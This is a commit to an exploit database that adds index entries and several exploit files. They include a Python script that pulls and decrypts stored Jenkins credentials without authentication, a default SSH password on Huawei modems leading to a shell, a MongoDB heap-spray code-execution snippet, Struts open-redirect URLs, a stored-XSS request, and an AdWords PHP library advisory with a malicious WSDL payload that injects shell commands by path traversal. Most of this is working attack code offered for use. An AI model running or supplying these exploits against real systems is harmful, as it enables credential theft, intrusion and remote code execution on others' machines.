DB: 2015-11-11
11 new exploits
This commit is contained in:
Offensive Security
parent
8a3d4b8a4b
commit
f98ebec3d2
12 changed files with 1351 additions and 0 deletions
11
files.csv
11
files.csv
|
|
@ -34730,6 +34730,7 @@ id,file,description,date,author,platform,type,port
|
||||||
38439,platforms/php/webapps/38439.txt,"WordPress Traffic Analyzer Plugin 'aoid' Parameter Cross Site Scripting Vulnerability",2013-04-09,Beni_Vanda,php,webapps,0
|
38439,platforms/php/webapps/38439.txt,"WordPress Traffic Analyzer Plugin 'aoid' Parameter Cross Site Scripting Vulnerability",2013-04-09,Beni_Vanda,php,webapps,0
|
||||||
38440,platforms/php/webapps/38440.txt,"phpMyAdmin 'tbl_gis_visualization.php' Multiple Cross Site Scripting Vulnerabilities",2013-04-09,waraxe,php,webapps,0
|
38440,platforms/php/webapps/38440.txt,"phpMyAdmin 'tbl_gis_visualization.php' Multiple Cross Site Scripting Vulnerabilities",2013-04-09,waraxe,php,webapps,0
|
||||||
38441,platforms/php/webapps/38441.txt,"WordPress Spiffy XSPF Player Plugin 'playlist_id' Parameter SQL Injection Vulnerability",2013-04-10,"Ashiyane Digital Security Team",php,webapps,0
|
38441,platforms/php/webapps/38441.txt,"WordPress Spiffy XSPF Player Plugin 'playlist_id' Parameter SQL Injection Vulnerability",2013-04-10,"Ashiyane Digital Security Team",php,webapps,0
|
||||||
|
38442,platforms/php/dos/38442.txt,"PHPMyLicense 3.0.0 - 3.1.4 - DoS",2015-10-11,"Aria Akhavan Rezayat",php,dos,0
|
||||||
38443,platforms/php/webapps/38443.txt,"Liferay 6.1.0 CE - Privilege Escalation",2015-10-11,"Massimo De Luca",php,webapps,0
|
38443,platforms/php/webapps/38443.txt,"Liferay 6.1.0 CE - Privilege Escalation",2015-10-11,"Massimo De Luca",php,webapps,0
|
||||||
38444,platforms/win32/dos/38444.py,"Tomabo MP4 Converter 3.10.12 - 3.11.12 (.m3u) Denial of service (Crush application)",2015-10-11,"mohammed Mohammed",win32,dos,0
|
38444,platforms/win32/dos/38444.py,"Tomabo MP4 Converter 3.10.12 - 3.11.12 (.m3u) Denial of service (Crush application)",2015-10-11,"mohammed Mohammed",win32,dos,0
|
||||||
38445,platforms/php/webapps/38445.txt,"Joomla Real Estate Manager Component 3.7 - SQL injection",2015-10-11,"Omer Ramić",php,webapps,0
|
38445,platforms/php/webapps/38445.txt,"Joomla Real Estate Manager Component 3.7 - SQL injection",2015-10-11,"Omer Ramić",php,webapps,0
|
||||||
|
|
@ -34920,7 +34921,10 @@ id,file,description,date,author,platform,type,port
|
||||||
38641,platforms/multiple/webapps/38641.rb,"JSSE SKIP-TLS Exploit",2015-11-05,"Ramon de C Valle",multiple,webapps,0
|
38641,platforms/multiple/webapps/38641.rb,"JSSE SKIP-TLS Exploit",2015-11-05,"Ramon de C Valle",multiple,webapps,0
|
||||||
38643,platforms/php/webapps/38643.txt,"WordPress Pie Register Plugin 'wp-login.php' Multiple Cross Site Scripting Vulnerabilities",2013-07-12,gravitylover,php,webapps,0
|
38643,platforms/php/webapps/38643.txt,"WordPress Pie Register Plugin 'wp-login.php' Multiple Cross Site Scripting Vulnerabilities",2013-07-12,gravitylover,php,webapps,0
|
||||||
38646,platforms/jsp/webapps/38646.txt,"NXFilter 3.0.3 - Multiple XSS Vulnerabilities",2015-11-06,hyp3rlinx,jsp,webapps,0
|
38646,platforms/jsp/webapps/38646.txt,"NXFilter 3.0.3 - Multiple XSS Vulnerabilities",2015-11-06,hyp3rlinx,jsp,webapps,0
|
||||||
|
38649,platforms/php/webapps/38649.txt,"Google AdWords API PHP client library <= 6.2.0 - Arbitrary PHP Code Execution",2015-11-07,"Dawid Golunski",php,webapps,0
|
||||||
38650,platforms/windows/dos/38650.py,"QNap QVR Client 5.1.0.11290 - Crash PoC",2015-11-07,"Luis Martínez",windows,dos,0
|
38650,platforms/windows/dos/38650.py,"QNap QVR Client 5.1.0.11290 - Crash PoC",2015-11-07,"Luis Martínez",windows,dos,0
|
||||||
|
38651,platforms/php/webapps/38651.txt,"eBay Magento CE <= 1.9.2.1 - Unrestricted Cron Script (Potential Code Execution / DoS)",2015-11-07,"Dawid Golunski",php,webapps,0
|
||||||
|
38652,platforms/php/webapps/38652.txt,"Google AdWords <= 6.2.0 API client libraries - XML eXternal Entity Injection (XXE)",2015-11-07,"Dawid Golunski",php,webapps,0
|
||||||
38653,platforms/asp/webapps/38653.txt,"Corda Highwire 'Highwire.ashx' File Path Disclosure Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
38653,platforms/asp/webapps/38653.txt,"Corda Highwire 'Highwire.ashx' File Path Disclosure Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
||||||
38654,platforms/php/webapps/38654.txt,"OpenEMR <= 4.1 'note' Parameter HTML Injection Vulnerability",2013-07-12,"Nate Drier",php,webapps,0
|
38654,platforms/php/webapps/38654.txt,"OpenEMR <= 4.1 'note' Parameter HTML Injection Vulnerability",2013-07-12,"Nate Drier",php,webapps,0
|
||||||
38655,platforms/asp/webapps/38655.txt,"Corda .NET Redirector 'redirector.corda' Cross Site Scripting Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
38655,platforms/asp/webapps/38655.txt,"Corda .NET Redirector 'redirector.corda' Cross Site Scripting Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
||||||
|
|
@ -34930,3 +34934,10 @@ id,file,description,date,author,platform,type,port
|
||||||
38660,platforms/php/remote/38660.rb,"Wordpress Ajax Load More PHP Upload Vulnerability",2015-11-09,metasploit,php,remote,0
|
38660,platforms/php/remote/38660.rb,"Wordpress Ajax Load More PHP Upload Vulnerability",2015-11-09,metasploit,php,remote,0
|
||||||
38661,platforms/php/webapps/38661.txt,"TestLink 1.9.14 - CSRF Vulnerability",2015-11-09,"Aravind C Ajayan, Balagopal N",php,webapps,0
|
38661,platforms/php/webapps/38661.txt,"TestLink 1.9.14 - CSRF Vulnerability",2015-11-09,"Aravind C Ajayan, Balagopal N",php,webapps,0
|
||||||
38662,platforms/multiple/dos/38662.txt,"FreeType 2.6.1 TrueType tt_sbit_decoder_load_bit_aligned Heap-Based Out-of-Bounds Read",2015-11-09,"Google Security Research",multiple,dos,0
|
38662,platforms/multiple/dos/38662.txt,"FreeType 2.6.1 TrueType tt_sbit_decoder_load_bit_aligned Heap-Based Out-of-Bounds Read",2015-11-09,"Google Security Research",multiple,dos,0
|
||||||
|
38663,platforms/hardware/remote/38663.txt,"Huawei HG630a and HG630a-50 - Default SSH Admin Password on ADSL Modems",2015-11-10,"Murat Sahin",hardware,remote,0
|
||||||
|
38664,platforms/java/webapps/38664.py,"Jenkins 1.633 - Unauthenticated Credential Recovery",2015-11-10,"The Repo",java,webapps,0
|
||||||
|
38665,platforms/php/webapps/38665.txt,"YESWIKI 0.2 - Path Traversal Vulnerability",2015-11-10,HaHwul,php,webapps,0
|
||||||
|
38666,platforms/multiple/remote/38666.txt,"Apache Struts <= 2.2.3 Multiple Open Redirection Vulnerabilities",2013-07-16,"Takeshi Terada",multiple,remote,0
|
||||||
|
38667,platforms/windows/remote/38667.py,"ReadyMedia Remote Heap Buffer Overflow Vulnerability",2013-07-15,"Zachary Cutlip",windows,remote,0
|
||||||
|
38668,platforms/windows/local/38668.c,"Cisco WebEx One-Click Client Password Encryption Information Disclosure Vulnerability",2013-07-09,"Brad Antoniewicz",windows,local,0
|
||||||
|
38669,platforms/multiple/remote/38669.txt,"MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability",2013-06-04,"SCRT Security",multiple,remote,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
42
platforms/hardware/remote/38663.txt
Executable file
42
platforms/hardware/remote/38663.txt
Executable file
|
|
@ -0,0 +1,42 @@
|
||||||
|
# Exploit Title: Huawei HG630a and HG630a-50 Default SSH Admin Password on
|
||||||
|
Adsl Modems
|
||||||
|
# Date: 10.11.2015
|
||||||
|
# Exploit Author: Murat Sahin
|
||||||
|
# Vendor Homepage: Huawei
|
||||||
|
# Version: HG630a and HG630a-50
|
||||||
|
# Tested on: linux,windows
|
||||||
|
|
||||||
|
Adsl modems force you to change admin web interface password. Even though
|
||||||
|
you can change admin password on the web interface, the password you
|
||||||
|
assign does not apply to ssh. So, SSH password always will be
|
||||||
|
'Username:admin Password:admin'.
|
||||||
|
|
||||||
|
Ex:
|
||||||
|
|
||||||
|
*ssh admin@modemIP <admin@192.168.1.1>*
|
||||||
|
admin@modemIP <admin@192.168.1.1>'s password:*admin*
|
||||||
|
PTY allocation request failed on channel 0
|
||||||
|
------------------------------
|
||||||
|
-
|
||||||
|
-----Welcome to ATP Cli------
|
||||||
|
-------------------------------
|
||||||
|
ATP>?
|
||||||
|
?
|
||||||
|
cls
|
||||||
|
debug
|
||||||
|
help
|
||||||
|
save
|
||||||
|
?
|
||||||
|
exit
|
||||||
|
ATP>shell
|
||||||
|
shell
|
||||||
|
|
||||||
|
|
||||||
|
BusyBox vv1.9.1 (2013-12-31 16:16:20 CST) built-in shell (ash)
|
||||||
|
Enter 'help' for a list of built-in commands.
|
||||||
|
|
||||||
|
# cat /proc/version
|
||||||
|
cat /proc/version
|
||||||
|
Linux version 2.6.30 (y00179387@localhost) (gcc version 4.4.2
|
||||||
|
(Buildroot 2010.02-git) ) #10 SMP PREEMPT Tue Dec 31 16:20:50 CST 2013
|
||||||
|
#
|
||||||
60
platforms/java/webapps/38664.py
Executable file
60
platforms/java/webapps/38664.py
Executable file
|
|
@ -0,0 +1,60 @@
|
||||||
|
# Exploit Title: Jenkins Unauthenticated Credential Recovery
|
||||||
|
# Disclosure Date: 10/14/2015
|
||||||
|
# Response Date: 10/14/2015
|
||||||
|
# Response: "Recommend this be rejected as a vulnerability."
|
||||||
|
# Full report including response: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
|
||||||
|
# Vendor Homepage: https://jenkins-ci.org/
|
||||||
|
# Tested on: Jenkins v1.633
|
||||||
|
# Author = 'Th3R3p0' | Justin Massey
|
||||||
|
# Google Dork: intitle:"Dashboard [Jenkins]" Credentials
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
from BeautifulSoup import BeautifulSoup
|
||||||
|
import urllib
|
||||||
|
|
||||||
|
|
||||||
|
# Usage: Modify the URL below to match the target host and port
|
||||||
|
# Must have trailing slash at end of URL
|
||||||
|
url='http://192.168.1.151:8080/'
|
||||||
|
|
||||||
|
# makes request to gather all users with stored credentials
|
||||||
|
r= requests.get(url + 'credential-store/domain/_/')
|
||||||
|
soup = BeautifulSoup(r.text)
|
||||||
|
|
||||||
|
# loop to go through all hrefs and match the regex "credential" and add the urls to the users list
|
||||||
|
users = []
|
||||||
|
for link in soup.body.findAll('a', href=True):
|
||||||
|
m = re.match("credential", link['href'])
|
||||||
|
if m:
|
||||||
|
if link['href'] not in users:
|
||||||
|
users.append(link['href'])
|
||||||
|
|
||||||
|
for users in users:
|
||||||
|
r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update')
|
||||||
|
soup2 = BeautifulSoup(r2.text)
|
||||||
|
|
||||||
|
# Finds the user and password value in html and stores in encPass variable
|
||||||
|
user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value']
|
||||||
|
encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value']
|
||||||
|
# Encodes the password to www-form-urlencoded standards needed for the expected content type
|
||||||
|
encPassEncoded = urllib.quote(encPass, safe='')
|
||||||
|
|
||||||
|
# Script to run in groovy scripting engine to decrypt the password
|
||||||
|
script = 'script=hudson.util.Secret.decrypt+%%27' \
|
||||||
|
'%s'\
|
||||||
|
'%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' \
|
||||||
|
'%s' \
|
||||||
|
'%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded)
|
||||||
|
|
||||||
|
# Using sessions because the POST requires a session token to be present
|
||||||
|
with requests.Session() as s:
|
||||||
|
r3 = s.get(url+'script')
|
||||||
|
headers = {'content-type': 'application/x-www-form-urlencoded'}
|
||||||
|
r3 = s.post(url+'script',data=script, headers=headers)
|
||||||
|
soup3 = BeautifulSoup(r3.text)
|
||||||
|
|
||||||
|
# Extracts password from body
|
||||||
|
password = soup3.body.findAll('pre')[1].text
|
||||||
|
password = re.sub('Result:', '', password)
|
||||||
|
print "User: %s | Password:%s" % (user, password)
|
||||||
10
platforms/multiple/remote/38666.txt
Executable file
10
platforms/multiple/remote/38666.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
||||||
|
source: http://www.securityfocus.com/bid/61196/info
|
||||||
|
|
||||||
|
Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker can leverage these issues by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.
|
||||||
|
|
||||||
|
Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable.
|
||||||
|
|
||||||
|
http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/
|
||||||
|
http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23
|
||||||
13
platforms/multiple/remote/38669.txt
Executable file
13
platforms/multiple/remote/38669.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
||||||
|
source: http://www.securityfocus.com/bid/61309/info
|
||||||
|
|
||||||
|
MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.
|
||||||
|
|
||||||
|
MongoDB 2.4.4 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
use databaseMapped
|
||||||
|
|
||||||
|
sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
|
||||||
|
|
||||||
|
db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
|
||||||
27
platforms/php/dos/38442.txt
Executable file
27
platforms/php/dos/38442.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
||||||
|
Hello, I want to report following exploit:
|
||||||
|
|
||||||
|
|
||||||
|
# Exploit Title: PHPMyLicense Stored Cross Site Scripting
|
||||||
|
# Date: 09-10-2015
|
||||||
|
# Exploit Author: Aria Akhavan Rezayat @ Websec GesmbH
|
||||||
|
# Website: https://websec-test.com
|
||||||
|
# Vendor Homepage: https://phpmylicense.com
|
||||||
|
# Software Link: http://codecanyon.net/item/phpmylicense/11719122
|
||||||
|
# Version: 3.0.0 - 3.1.4 (REQUIRED)
|
||||||
|
# Category: Webapps
|
||||||
|
|
||||||
|
1.) Description:
|
||||||
|
|
||||||
|
Any registered user can simply disable functionality of the whole application and input malicious code because of a lack of filtering.
|
||||||
|
|
||||||
|
2.) Proof of Concept:
|
||||||
|
|
||||||
|
localhost/phpmylicense/ajax/
|
||||||
|
|
||||||
|
POST:
|
||||||
|
|
||||||
|
comments=bla-->MaliciousCode<%21--&customer_email=bla&domain=bla&expirydate=26-10-2014&handler=newlicense¶meters=bla&productid=20&serialkey=bla&status=processing
|
||||||
|
|
||||||
|
3.) Solution:
|
||||||
|
|
||||||
|
None. - No Update available for it.
|
||||||
335
platforms/php/webapps/38649.txt
Executable file
335
platforms/php/webapps/38649.txt
Executable file
|
|
@ -0,0 +1,335 @@
|
||||||
|
# Date: 06.11.2015
|
||||||
|
# Title: Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution
|
||||||
|
# Exploit Author: Dawid Golunski
|
||||||
|
# Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries
|
||||||
|
# Software Link: https://github.com/googleads/googleads-php-lib
|
||||||
|
# Version: <=6.2.0
|
||||||
|
|
||||||
|
|
||||||
|
=============================================
|
||||||
|
- Release date: 06.11.2015
|
||||||
|
- Discovered by: Dawid Golunski
|
||||||
|
- Severity: Medium/High
|
||||||
|
=============================================
|
||||||
|
|
||||||
|
|
||||||
|
I. VULNERABILITY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution
|
||||||
|
(googleads-php-lib)
|
||||||
|
|
||||||
|
II. BACKGROUND
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
- AdWords API
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/
|
||||||
|
|
||||||
|
"The AdWords API is a collection of web services that you can use to build
|
||||||
|
applications that manage AdWords accounts and their associated campaign data.
|
||||||
|
While the AdWords API is based on SOAP 1.1, high-level client libraries are
|
||||||
|
provided to help you develop applications more quickly."
|
||||||
|
|
||||||
|
AdWords API client libraries are available for different platforms
|
||||||
|
such as PHP, .NET, Java etc.
|
||||||
|
These can be found at:
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||||
|
|
||||||
|
III. INTRODUCTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The Google AdWords API client library for PHP contains a WSDL Interpreter
|
||||||
|
class which is described in a comment within the source code as:
|
||||||
|
|
||||||
|
"
|
||||||
|
* The main class for handling WSDL interpretation.
|
||||||
|
*
|
||||||
|
* The WSDLInterpreter is utilized for the parsing of a WSDL document for rapid
|
||||||
|
* and flexible use within the context of PHP 5 scripts.
|
||||||
|
"
|
||||||
|
|
||||||
|
The class contains a function savePHP() which allows to convert the WSDL
|
||||||
|
document received from a remote end into a PHP file.
|
||||||
|
The funcion is vulnerable to Path Traversal and Code Execution vulnerabilities.
|
||||||
|
|
||||||
|
IV. DESCRIPTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
googleads-php-lib contains the following function which is meant to load WSDL
|
||||||
|
document (XML data) from a remote Google AdWords server:
|
||||||
|
|
||||||
|
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
|
||||||
|
|
||||||
|
protected function loadWsdl($wsdlUri, $proxy = null) {
|
||||||
|
// Set proxy.
|
||||||
|
if ($proxy) {
|
||||||
|
$opts = array(
|
||||||
|
'http' => array(
|
||||||
|
'proxy' => $proxy,
|
||||||
|
'request_fulluri' => true
|
||||||
|
)
|
||||||
|
);
|
||||||
|
$context = stream_context_get_default($opts);
|
||||||
|
libxml_set_streams_context($context);
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->dom = new DOMDocument();
|
||||||
|
$this->dom->load($wsdlUri,
|
||||||
|
LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE);
|
||||||
|
|
||||||
|
-------------------------------------------------------
|
||||||
|
|
||||||
|
For security reasons Google AdWords API should only be accessed via HTTPS.
|
||||||
|
However, the above code does not set appropriate SSL settings on the
|
||||||
|
https:// stream context.
|
||||||
|
It fails to assign Certificate Authority (CA), turn the verify_peer
|
||||||
|
option to ON, specify allowed ciphers etc.
|
||||||
|
It uses the stream_context_get_default() function to get the default context,
|
||||||
|
which on all PHP versions below PHP 5.6.x (see references), does not validate
|
||||||
|
the CA by default.
|
||||||
|
Because of this, application may retrieve data from untrusted sources
|
||||||
|
pretending to be adwords.google.com.
|
||||||
|
|
||||||
|
Further on, the WSDLInterpreter class contains the following savePHP function:
|
||||||
|
|
||||||
|
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Saves the PHP source code that has been loaded to a target directory.
|
||||||
|
*
|
||||||
|
* Services will be saved by their validated name, and classes will be
|
||||||
|
* included with each service file so that they can be utilized independently.
|
||||||
|
*
|
||||||
|
* @param string $outputDirectory the destination directory for the source
|
||||||
|
* code
|
||||||
|
* @return array array of source code files that were written out
|
||||||
|
* @throws WSDLInterpreterException problem in writing out service sources
|
||||||
|
*/
|
||||||
|
public function savePHP($outputDirectory) {
|
||||||
|
if (!count($this->servicePHPSources)) {
|
||||||
|
throw new WSDLInterpreterException("No services loaded");
|
||||||
|
}
|
||||||
|
$namespace = $this->enableNamespaces ? sprintf("namespace %s;\n\n",
|
||||||
|
$this->utils->getNamespace()) : '';
|
||||||
|
$require = sprintf("require_once \"%s\";\n\n", $this->soapClientClassPath);
|
||||||
|
$classSource = join("\n\n", $this->classPHPSources);
|
||||||
|
$outputFiles =
|
||||||
|
foreach ($this->servicePHPSources as $serviceName => $serviceCode) {
|
||||||
|
$filename = sprintf('%s/%s.php', $outputDirectory, $serviceName);
|
||||||
|
$success = file_put_contents($filename, sprintf(
|
||||||
|
"<?php\n%s%s%s%s\n\n%s\n\n", $this->getFileHeader(), $namespace,
|
||||||
|
$require, $classSource, $serviceCode));
|
||||||
|
...
|
||||||
|
|
||||||
|
-------------------------------------------------------
|
||||||
|
|
||||||
|
The function does not perform sufficient sanitisation of the WSDL document
|
||||||
|
received from a remote end. It allows to inject '../' sequence, which can be
|
||||||
|
used by attackers to save the resulting translated PHP file into an arbitrary
|
||||||
|
directory on the system.
|
||||||
|
It also fails to validate the Name spaces provided within WSDL XML document,
|
||||||
|
making it possible to inject arbitrary PHP code via encoding it in hex.
|
||||||
|
|
||||||
|
For the attack to be successful, the attacker needs to perform a MitM attack
|
||||||
|
to impersonate adwords.google.com server (eg. via DNS poisoning/spoofing/proxy
|
||||||
|
attacks, ARP spoofing, etc. ) to inject malicious XML code.
|
||||||
|
|
||||||
|
|
||||||
|
V. PROOF OF CONCEPT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Below is a test application that makes use of of PHP Google AdWords API library.
|
||||||
|
The application simply connects to the AdWords API endpoint to retrieve the
|
||||||
|
Google API WSDL document and translates it into a PHP file.
|
||||||
|
|
||||||
|
---[ testAPI.php ]---
|
||||||
|
|
||||||
|
<?php
|
||||||
|
// Test application reading WSDL from Google AdWords
|
||||||
|
|
||||||
|
set_include_path('./build_lib/WSDLInterpreter/');
|
||||||
|
require_once 'WSDLInterpreter.php';
|
||||||
|
|
||||||
|
$wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/'
|
||||||
|
.'CampaignService?wsdl';
|
||||||
|
|
||||||
|
$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null,
|
||||||
|
null, "CampaignService", "v201502", "Ads_Google",
|
||||||
|
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);
|
||||||
|
|
||||||
|
$wsdlInterpreter->savePHP('/tmp/');
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
---------------------
|
||||||
|
|
||||||
|
|
||||||
|
To exploit this application, an attacker needs to perform a MitM attack
|
||||||
|
to impersonate adwords.google.com server as mentioned in the description above.
|
||||||
|
|
||||||
|
If an attacker manages to inject the XML below, when the victim requests
|
||||||
|
the https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl link
|
||||||
|
from Google AdWords endpoint:
|
||||||
|
|
||||||
|
---[ malicious XML ]---
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<definitions xmlns:typens="urn:POC_RCE"
|
||||||
|
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
||||||
|
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
|
||||||
|
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
|
||||||
|
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
|
||||||
|
xmlns="http://schemas.xmlsoap.org/wsdl/"
|
||||||
|
name="POCexploit" targetNamespace="urn:POCexploit444"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = "">
|
||||||
|
<service name="../../../var/www/html/POC_Exploit">
|
||||||
|
<port name="Some_HandlerPort" binding="typens:Some_HandlerBinding">
|
||||||
|
<soap:address location="https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl" />
|
||||||
|
</port>
|
||||||
|
</service>
|
||||||
|
</definitions>
|
||||||
|
|
||||||
|
----------------------
|
||||||
|
|
||||||
|
the vulnerable application will translate it and save it as a script in
|
||||||
|
/var/www/html/POC_Exploit.php (assuming directory is writable) location,
|
||||||
|
instead of /tmp location, due the Path Traversal in '<service name=' tag.
|
||||||
|
|
||||||
|
It will also decode the hex values representing a malicious PHP script to:
|
||||||
|
|
||||||
|
"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; }
|
||||||
|
const NOTHING = "
|
||||||
|
|
||||||
|
The resulting file will be saved in /var/www/html/POC_Exploit.php , and will
|
||||||
|
look as follows after the WSDL to PHP translation:
|
||||||
|
|
||||||
|
|
||||||
|
---[ resulting POC_Exploit.php file ]---
|
||||||
|
|
||||||
|
<?php
|
||||||
|
/**
|
||||||
|
[cut]
|
||||||
|
* @package Ads_Google
|
||||||
|
* @subpackage v201309
|
||||||
|
* @category WebServices
|
||||||
|
* @copyright 2014, Google Inc. All Rights Reserved.
|
||||||
|
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache License,
|
||||||
|
* Version 2.0
|
||||||
|
*/
|
||||||
|
namespace Ads_Google;
|
||||||
|
|
||||||
|
require_once "../../src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php";
|
||||||
|
|
||||||
|
if (!class_exists("VarwwwhtmlPOC_Exploit", false)) {
|
||||||
|
/**
|
||||||
|
* VarwwwhtmlPOC_Exploit
|
||||||
|
* @package Ads_Google
|
||||||
|
* @subpackage v201309
|
||||||
|
*/
|
||||||
|
class VarwwwhtmlPOC_Exploit extends AdWordsSoapClient {
|
||||||
|
|
||||||
|
const SERVICE_NAME = "../../../var/www/html/POC_Exploit";
|
||||||
|
const WSDL_NAMESPACE = "urn:POCexploit444"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = "";
|
||||||
|
const ENDPOINT = "https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The endpoint of the service
|
||||||
|
* @var string
|
||||||
|
*/
|
||||||
|
public static $endpoint = "https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor using wsdl location and options array
|
||||||
|
* @param string $wsdl WSDL location for this service
|
||||||
|
* @param array $options Options for the SoapClient
|
||||||
|
*/
|
||||||
|
public function __construct($wsdl, $options, $user) {
|
||||||
|
$options["classmap"] = self::$classmap;
|
||||||
|
parent::__construct($wsdl, $options, $user, self::SERVICE_NAME,
|
||||||
|
self::WSDL_NAMESPACE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
----------------------------------------
|
||||||
|
|
||||||
|
If such class gets included it will execute the malicious code due to the
|
||||||
|
injected __destruct() method, which creates /tmp/adwrods_api_hacked file.
|
||||||
|
|
||||||
|
At this point the attacker can control the name of the class (through service name),
|
||||||
|
the path to the resulting PHP file, and is also able to inject any PHP code.
|
||||||
|
|
||||||
|
Going further, He could also close the class definition statement and write an arbitrary
|
||||||
|
PHP code in the main file.
|
||||||
|
This would allow the attacker to create a stand alone script which he
|
||||||
|
could request remotely via the Web server if he managed save it within the web
|
||||||
|
root.
|
||||||
|
In this way the attacker could create a stand alone PHP command shell and get
|
||||||
|
access to the system.
|
||||||
|
|
||||||
|
|
||||||
|
VI. BUSINESS IMPACT
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The severity of this issue is lowered to medium/high as despite the possibility
|
||||||
|
to execute arbitrary code, the attacker must impersonate adwords.google.com
|
||||||
|
server to be able to inject malicious XML.
|
||||||
|
If there is a possibility for such an attack, the severity of the issue
|
||||||
|
can grow to high/critical.
|
||||||
|
|
||||||
|
VII. SYSTEMS AFFECTED
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Google AdWords API PHP client library in versions up to 6.2.0 contain the
|
||||||
|
vulnerable WSDLInterpreter code.
|
||||||
|
|
||||||
|
VIII. SOLUTION
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
Upgrade Google AdWords API PHP client library to the latest version.
|
||||||
|
|
||||||
|
IX. REFERENCES
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
This advisory:
|
||||||
|
|
||||||
|
http://legalhackers.com/advisories/Google-AdWords-PHP-Client-library-PHP-Code-Execution.txt
|
||||||
|
|
||||||
|
Related, Google AdWords API client libraries - XML eXternal Entity Injection (XXE) vuln:
|
||||||
|
http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt
|
||||||
|
|
||||||
|
https://github.com/googleads/googleads-php-lib
|
||||||
|
|
||||||
|
https://github.com/googleads/googleads-php-lib/blob/master/ChangeLog.md
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/
|
||||||
|
|
||||||
|
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||||
|
|
||||||
|
PHP 5.6.x openssl certificates in PHP streams:
|
||||||
|
http://php.net/manual/en/migration56.openssl.php
|
||||||
|
|
||||||
|
X. CREDITS
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
The vulnerability has been discovered by Dawid Golunski
|
||||||
|
dawid (at) legalhackers (dot) com
|
||||||
|
|
||||||
|
http://legalhackers.com
|
||||||
|
|
||||||
|
XI. REVISION HISTORY
|
||||||
|
-------------------------
|
||||||
|
|
||||||
|
May 18th, 2015: Advisory created and sent to Google Security Team
|
||||||
|
|
||||||
|
Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched
|
||||||
|
|
||||||
|
Nov 6th, 2015: Advisory released publicly
|
||||||
|
|
||||||
|
